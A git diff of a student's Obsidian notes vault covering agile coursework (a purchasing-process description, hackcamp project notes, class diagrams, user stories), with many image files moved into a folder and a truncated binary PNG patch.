part is removed`. The old part must either be returned to the CSW for **refurbishment** or **disposed of as scrap**. -After *store managers(sec)* receive **requisitions** from team leaders, they **produce purchase orders** to purchase spare parts from suppliers. The purchase orders contain part names and . *Suppliers* then **send the spare parts** along with an **invoice** to the CSW. The *store managers* then **reconcile the invoices** against the purchase orders to **authorise payments** for *suppliers*. +After *store managers(sec)* receive **requisitions** from team leaders, they **produce purchase orders** to purchase spare parts from suppliers. The purchase orders contain part names and . *Suppliers* then **send the spare parts** along with an **invoice** to the CSW. The *store managers* then **reconcile the invoices** against the purchase orders to **authorise payments** for *suppliers*. The *store managers* also handle **spare parts returned to *suppliers* for refurbishment**. When a spare part is returned to the CSW, the *store managers* produce a **purchase order**. Again, *suppliers* s**end refurbished goods (spare parts) to the** CSW, where the *store managers* then **reconcile invoices** and **authorise payments**. @@ -103,4 +103,4 @@ Send Invoice to CSW (+Refurbs) Process Transaction -manager processes req -> creatres purchase order \ No newline at end of file +manager processes req -> creatres purchase order diff --git a/Software Project with Agile Techinques/Hackcamp/Iteration 1 - Product Demo.md b/Software Project with Agile Techinques/Hackcamp/Iteration 1 - Product Demo.md index e69de29..8b13789 100755 --- a/Software Project with Agile Techinques/Hackcamp/Iteration 1 - Product Demo.md +++ b/Software Project with Agile Techinques/Hackcamp/Iteration 1 - Product Demo.md @@ -0,0 +1 @@ + diff --git a/Software Project with Agile Techinques/Hackcamp/Red Ocelot Notes.md b/Software Project with Agile Techinques/Hackcamp/Red Ocelot Notes.md index 70f5f47..42cc2c3 100755 --- a/Software Project with Agile Techinques/Hackcamp/Red Ocelot Notes.md +++ b/Software Project with Agile Techinques/Hackcamp/Red Ocelot Notes.md @@ -3,6 +3,7 @@ Team of devs from Competa working with Red Ocelot to help create Product Owner W RO published empirical research on technical debt, cloud application arch, software development methods # Project Aim + graph visualisations of selected software development source code metrics gain insights created visualisations on file size measures read commit history information @@ -16,11 +17,13 @@ bar charts of randge of line of code other innovative ways to visualise # Optional Goal + can use machine learning to analyse commit messages. might tell when commit is adding new features or when commit is for refactoring. Compare commit history data from different projects obtained using git vc api provided psql db with branch commit dates, commit messages, author names, number of non/functional lines of code # Example Visualisations + interested in understanding team commit behaviour over lifestyle, commit frequency. comparisons between target source code and benchmark open source software projects on github. allow sbs comparison. one project to visualise is openbaraza, open source application development framework. @@ -29,4 +32,4 @@ Red Ocelot Contact alex.sherman@redocelot.com Competa Contact joeyoosenbrug@competa.com - contact for questions -Meetings through scrum master \ No newline at end of file +Meetings through scrum master diff --git a/Software Project with Agile Techinques/Week 3/Study Skills - Class Diagrams.md b/Software Project with Agile Techinques/Week 3/Study Skills - Class Diagrams.md index 5fb4c0b..42bf1f5 100755 --- a/Software Project with Agile Techinques/Week 3/Study Skills - Class Diagrams.md +++ b/Software Project with Agile Techinques/Week 3/Study Skills - Class Diagrams.md @@ -133,6 +133,7 @@ Magazine { Name: Flight Travel Booking System Objects: + - Flight - Departure Location - Arrival Location diff --git a/Software Project with Agile Techinques/Week 4/Workshop 4 - SPAT.md b/Software Project with Agile Techinques/Week 4/Workshop 4 - SPAT.md index 9e7b968..6b5ea72 100755 --- a/Software Project with Agile Techinques/Week 4/Workshop 4 - SPAT.md +++ b/Software Project with Agile Techinques/Week 4/Workshop 4 - SPAT.md @@ -8,18 +8,13 @@ # 1 -As a student, I want to register for a programme in order to obtain a degree. +As a student, I want to register for a programme in order to obtain a degree. How should programmes be displayed to the student? How should the student be notified about programme enrollment? What details given to student? - As a student, I want to transfer module to better fit my career outcomes. How should modules be displayed to student? How should students be notified? # 3 - - - - diff --git a/Welcome.md b/Welcome.md deleted file mode 100755 index 1fb12f5..0000000 --- a/Welcome.md +++ /dev/null @@ -1,5 +0,0 @@ -This is your new *vault*. - -Make a note of something, [[create a link]], or try [the Importer](https://help.obsidian.md/Plugins/Importer)! - -When you're ready, delete this note and make the vault your own. diff --git a/Pasted image 20240916172110.png b/images/Pasted image 20240916172110.png similarity index 100% rename from Pasted image 20240916172110.png rename to images/Pasted image 20240916172110.png diff --git a/Pasted image 20240916172844.png b/images/Pasted image 20240916172844.png similarity index 100% rename from Pasted image 20240916172844.png rename to images/Pasted image 20240916172844.png diff --git a/Pasted image 20240916173130.png b/images/Pasted image 20240916173130.png similarity index 100% rename from Pasted image 20240916173130.png rename to images/Pasted image 20240916173130.png diff --git a/Pasted image 20240918092145.png b/images/Pasted image 20240918092145.png similarity index 100% rename from Pasted image 20240918092145.png rename to images/Pasted image 20240918092145.png diff --git a/Pasted image 20240918092203.png b/images/Pasted image 20240918092203.png similarity index 100% rename from Pasted image 20240918092203.png rename to images/Pasted image 20240918092203.png diff --git a/Pasted image 20240918092221.png b/images/Pasted image 20240918092221.png similarity index 100% rename from Pasted image 20240918092221.png rename to images/Pasted image 20240918092221.png diff --git a/Pasted image 20240918102704.png b/images/Pasted image 20240918102704.png similarity index 100% rename from Pasted image 20240918102704.png rename to images/Pasted image 20240918102704.png diff --git a/Pasted image 20240918103827.png b/images/Pasted image 20240918103827.png similarity index 100% rename from Pasted image 20240918103827.png rename to images/Pasted image 20240918103827.png diff --git a/Pasted image 20240918104728.png b/images/Pasted image 20240918104728.png similarity index 100% rename from Pasted image 20240918104728.png rename to images/Pasted image 20240918104728.png diff --git a/Pasted image 20240919134249.png b/images/Pasted image 20240919134249.png similarity index 100% rename from Pasted image 20240919134249.png rename to images/Pasted image 20240919134249.png diff --git a/Pasted image 20240919134304.png b/images/Pasted image 20240919134304.png similarity index 100% rename from Pasted image 20240919134304.png rename to images/Pasted image 20240919134304.png diff --git a/Pasted image 20240919134526.png b/images/Pasted image 20240919134526.png similarity index 100% rename from Pasted image 20240919134526.png rename to images/Pasted image 20240919134526.png diff --git a/Pasted image 20240919134535.png b/images/Pasted image 20240919134535.png similarity index 100% rename from Pasted image 20240919134535.png rename to images/Pasted image 20240919134535.png diff --git a/Pasted image 20240919134848.png b/images/Pasted image 20240919134848.png similarity index 100% rename from Pasted image 20240919134848.png rename to images/Pasted image 20240919134848.png diff --git a/Pasted image 20240919143921.png b/images/Pasted image 20240919143921.png similarity index 100% rename from Pasted image 20240919143921.png rename to images/Pasted image 20240919143921.png diff --git a/Pasted image 20240919144005.png b/images/Pasted image 20240919144005.png similarity index 100% rename from Pasted image 20240919144005.png rename to images/Pasted image 20240919144005.png diff --git a/Pasted image 20240920114400.png b/images/Pasted image 20240920114400.png similarity index 100% rename from Pasted image 20240920114400.png rename to images/Pasted image 20240920114400.png diff --git a/Pasted image 20240920120755.png b/images/Pasted image 20240920120755.png similarity index 100% rename from Pasted image 20240920120755.png rename to images/Pasted image 20240920120755.png diff --git a/Pasted image 20240920122020.png b/images/Pasted image 20240920122020.png similarity index 100% rename from Pasted image 20240920122020.png rename to images/Pasted image 20240920122020.png diff --git a/Pasted image 20240920130950.png b/images/Pasted image 20240920130950.png similarity index 100% rename from Pasted image 20240920130950.png rename to images/Pasted image 20240920130950.png diff --git a/Pasted image 20240920131244.png b/images/Pasted image 20240920131244.png similarity index 100% rename from Pasted image 20240920131244.png rename to images/Pasted image 20240920131244.png diff --git a/Pasted image 20240920131532.png b/images/Pasted image 20240920131532.png similarity index 100% rename from Pasted image 20240920131532.png rename to images/Pasted image 20240920131532.png diff --git a/Pasted image 20240920131537.png b/images/Pasted image 20240920131537.png similarity index 100% rename from Pasted image 20240920131537.png rename to images/Pasted image 20240920131537.png diff --git a/Pasted image 20240920131625.png b/images/Pasted image 20240920131625.png similarity index 100% rename from Pasted image 20240920131625.png rename to images/Pasted image 20240920131625.png diff --git a/Pasted image 20240920132209.png b/images/Pasted image 20240920132209.png similarity index 100% rename from Pasted image 20240920132209.png rename to images/Pasted image 20240920132209.png diff --git a/Pasted image 20240920132732.png b/images/Pasted image 20240920132732.png similarity index 100% rename from Pasted image 20240920132732.png rename to images/Pasted image 20240920132732.png diff --git a/Pasted image 20240920133218.png b/images/Pasted image 20240920133218.png similarity index 100% rename from Pasted image 20240920133218.png rename to images/Pasted image 20240920133218.png diff --git a/Pasted image 20240920133316.png b/images/Pasted image 20240920133316.png similarity index 100% rename from Pasted image 20240920133316.png rename to images/Pasted image 20240920133316.png diff --git a/Pasted image 20240920133706.png b/images/Pasted image 20240920133706.png similarity index 100% rename from Pasted image 20240920133706.png rename to images/Pasted image 20240920133706.png diff --git a/Pasted image 20240920134203.png b/images/Pasted image 20240920134203.png similarity index 100% rename from Pasted image 20240920134203.png rename to images/Pasted image 20240920134203.png diff --git a/Pasted image 20240923122342.png b/images/Pasted image 20240923122342.png similarity index 100% rename from Pasted image 20240923122342.png rename to images/Pasted image 20240923122342.png diff --git a/Pasted image 20240923122346.png b/images/Pasted image 20240923122346.png similarity index 100% rename from Pasted image 20240923122346.png rename to images/Pasted image 20240923122346.png diff --git a/Pasted image 20241003092201.png b/images/Pasted image 20241003092201.png similarity index 100% rename from Pasted image 20241003092201.png rename to images/Pasted image 20241003092201.png diff --git a/Pasted image 20241003092526.png b/images/Pasted image 20241003092526.png similarity index 100% rename from Pasted image 20241003092526.png rename to images/Pasted image 20241003092526.png diff --git a/Pasted image 20241003092549.png b/images/Pasted image 20241003092549.png similarity index 100% rename from Pasted image 20241003092549.png rename to images/Pasted image 20241003092549.png diff --git a/Pasted image 20241003122311.png b/images/Pasted image 20241003122311.png similarity index 100% rename from Pasted image 20241003122311.png rename to images/Pasted image 20241003122311.png diff --git a/Pasted image 20241003122335.png b/images/Pasted image 20241003122335.png similarity index 100% rename from Pasted image 20241003122335.png rename to images/Pasted image 20241003122335.png diff --git a/Pasted image 20241003132609.png b/images/Pasted image 20241003132609.png similarity index 100% rename from Pasted image 20241003132609.png rename to images/Pasted image 20241003132609.png diff --git a/Pasted image 20241003132621.png b/images/Pasted image 20241003132621.png similarity index 100% rename from Pasted image 20241003132621.png rename to images/Pasted image 20241003132621.png diff --git a/Pasted image 20241003132636.png b/images/Pasted image 20241003132636.png similarity index 100% rename from Pasted image 20241003132636.png rename to images/Pasted image 20241003132636.png diff --git a/Pasted image 20241003133342.png b/images/Pasted image 20241003133342.png similarity index 100% rename from Pasted image 20241003133342.png rename to images/Pasted image 20241003133342.png diff --git a/Pasted image 20241003133919.png b/images/Pasted image 20241003133919.png similarity index 100% rename from Pasted image 20241003133919.png rename to images/Pasted image 20241003133919.png diff --git a/Pasted image 20241003134100.png b/images/Pasted image 20241003134100.png similarity index 100% rename from Pasted image 20241003134100.png rename to images/Pasted image 20241003134100.png diff --git a/Pasted image 20241004142352.png b/images/Pasted image 20241004142352.png similarity index 100% rename from Pasted image 20241004142352.png rename to images/Pasted image 20241004142352.png diff --git a/Pasted image 20241004143909.png b/images/Pasted image 20241004143909.png similarity index 100% rename from Pasted image 20241004143909.png rename to images/Pasted image 20241004143909.png diff --git a/Pasted image 20241010132324.png b/images/Pasted image 20241010132324.png similarity index 100% rename from Pasted image 20241010132324.png rename to images/Pasted image 20241010132324.png diff --git a/Pasted image 20241010132326.png b/images/Pasted image 20241010132326.png similarity index 100% rename from Pasted image 20241010132326.png rename to images/Pasted image 20241010132326.png diff --git a/Pasted image 20241010133818.png b/images/Pasted image 20241010133818.png similarity index 100% rename from Pasted image 20241010133818.png rename to images/Pasted image 20241010133818.png diff --git a/Pasted image 20241010135130.png b/images/Pasted image 20241010135130.png similarity index 100% rename from Pasted image 20241010135130.png rename to images/Pasted image 20241010135130.png diff --git a/Pasted image 20241011131542.png b/images/Pasted image 20241011131542.png similarity index 100% rename from Pasted image 20241011131542.png rename to images/Pasted image 20241011131542.png diff --git a/Pasted image 20241011131844.png b/images/Pasted image 20241011131844.png similarity index 100% rename from Pasted image 20241011131844.png rename to images/Pasted image 20241011131844.png diff --git a/Pasted image 20241011140611.png b/images/Pasted image 20241011140611.png similarity index 100% rename from Pasted image 20241011140611.png rename to images/Pasted image 20241011140611.png diff --git a/Pasted image 20241011140654.png b/images/Pasted image 20241011140654.png similarity index 100% rename from Pasted image 20241011140654.png rename to images/Pasted image 20241011140654.png diff --git a/Pasted image 20241011140717.png b/images/Pasted image 20241011140717.png similarity index 100% rename from Pasted image 20241011140717.png rename to images/Pasted image 20241011140717.png diff --git a/Pasted image 20241017130933.png b/images/Pasted image 20241017130933.png similarity index 100% rename from Pasted image 20241017130933.png rename to images/Pasted image 20241017130933.png diff --git a/Pasted image 20241017131053.png b/images/Pasted image 20241017131053.png similarity index 100% rename from Pasted image 20241017131053.png rename to images/Pasted image 20241017131053.png diff --git a/Pasted image 20241017131525.png b/images/Pasted image 20241017131525.png similarity index 100% rename from Pasted image 20241017131525.png rename to images/Pasted image 20241017131525.png diff --git a/Pasted image 20241017131740.png b/images/Pasted image 20241017131740.png similarity index 100% rename from Pasted image 20241017131740.png rename to images/Pasted image 20241017131740.png diff --git a/Pasted image 20241017131912.png b/images/Pasted image 20241017131912.png similarity index 100% rename from Pasted image 20241017131912.png rename to images/Pasted image 20241017131912.png diff --git a/Pasted image 20241017132019.png b/images/Pasted image 20241017132019.png similarity index 100% rename from Pasted image 20241017132019.png rename to images/Pasted image 20241017132019.png diff --git a/Pasted image 20241017132059.png b/images/Pasted image 20241017132059.png similarity index 100% rename from Pasted image 20241017132059.png rename to images/Pasted image 20241017132059.png diff --git a/Pasted image 20241018131938.png b/images/Pasted image 20241018131938.png similarity index 100% rename from Pasted image 20241018131938.png rename to images/Pasted image 20241018131938.png diff --git a/Pasted image 20241024094123.png b/images/Pasted image 20241024094123.png similarity index 100% rename from Pasted image 20241024094123.png rename to images/Pasted image 20241024094123.png diff --git a/Pasted image 20241024094143.png b/images/Pasted image 20241024094143.png similarity index 100% rename from Pasted image 20241024094143.png rename to images/Pasted image 20241024094143.png diff --git a/Pasted image 20241024132411.png b/images/Pasted image 20241024132411.png similarity index 100% rename from Pasted image 20241024132411.png rename to images/Pasted image 20241024132411.png diff --git a/Pasted image 20241024132906.png b/images/Pasted image 20241024132906.png similarity index 100% rename from Pasted image 20241024132906.png rename to images/Pasted image 20241024132906.png diff --git a/Pasted image 20241025132339.png b/images/Pasted image 20241025132339.png similarity index 100% rename from Pasted image 20241025132339.png rename to images/Pasted image 20241025132339.png diff --git a/Pasted image 20241025141348.png b/images/Pasted image 20241025141348.png similarity index 100% rename from Pasted image 20241025141348.png rename to images/Pasted image 20241025141348.png diff --git a/Pasted image 20241025141715.png b/images/Pasted image 20241025141715.png similarity index 100% rename from Pasted image 20241025141715.png rename to images/Pasted image 20241025141715.png diff --git a/Pasted image 20241025143543.png b/images/Pasted image 20241025143543.png similarity index 100% rename from Pasted image 20241025143543.png rename to images/Pasted image 20241025143543.png diff --git a/images/Pasted image 20250207142220.png b/images/Pasted image 20250207142220.png new file mode 100644 index 0000000000000000000000000000000000000000..debe5be9d76020cb36728e862c13caac8d54300a GIT binary patch literal 313323 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 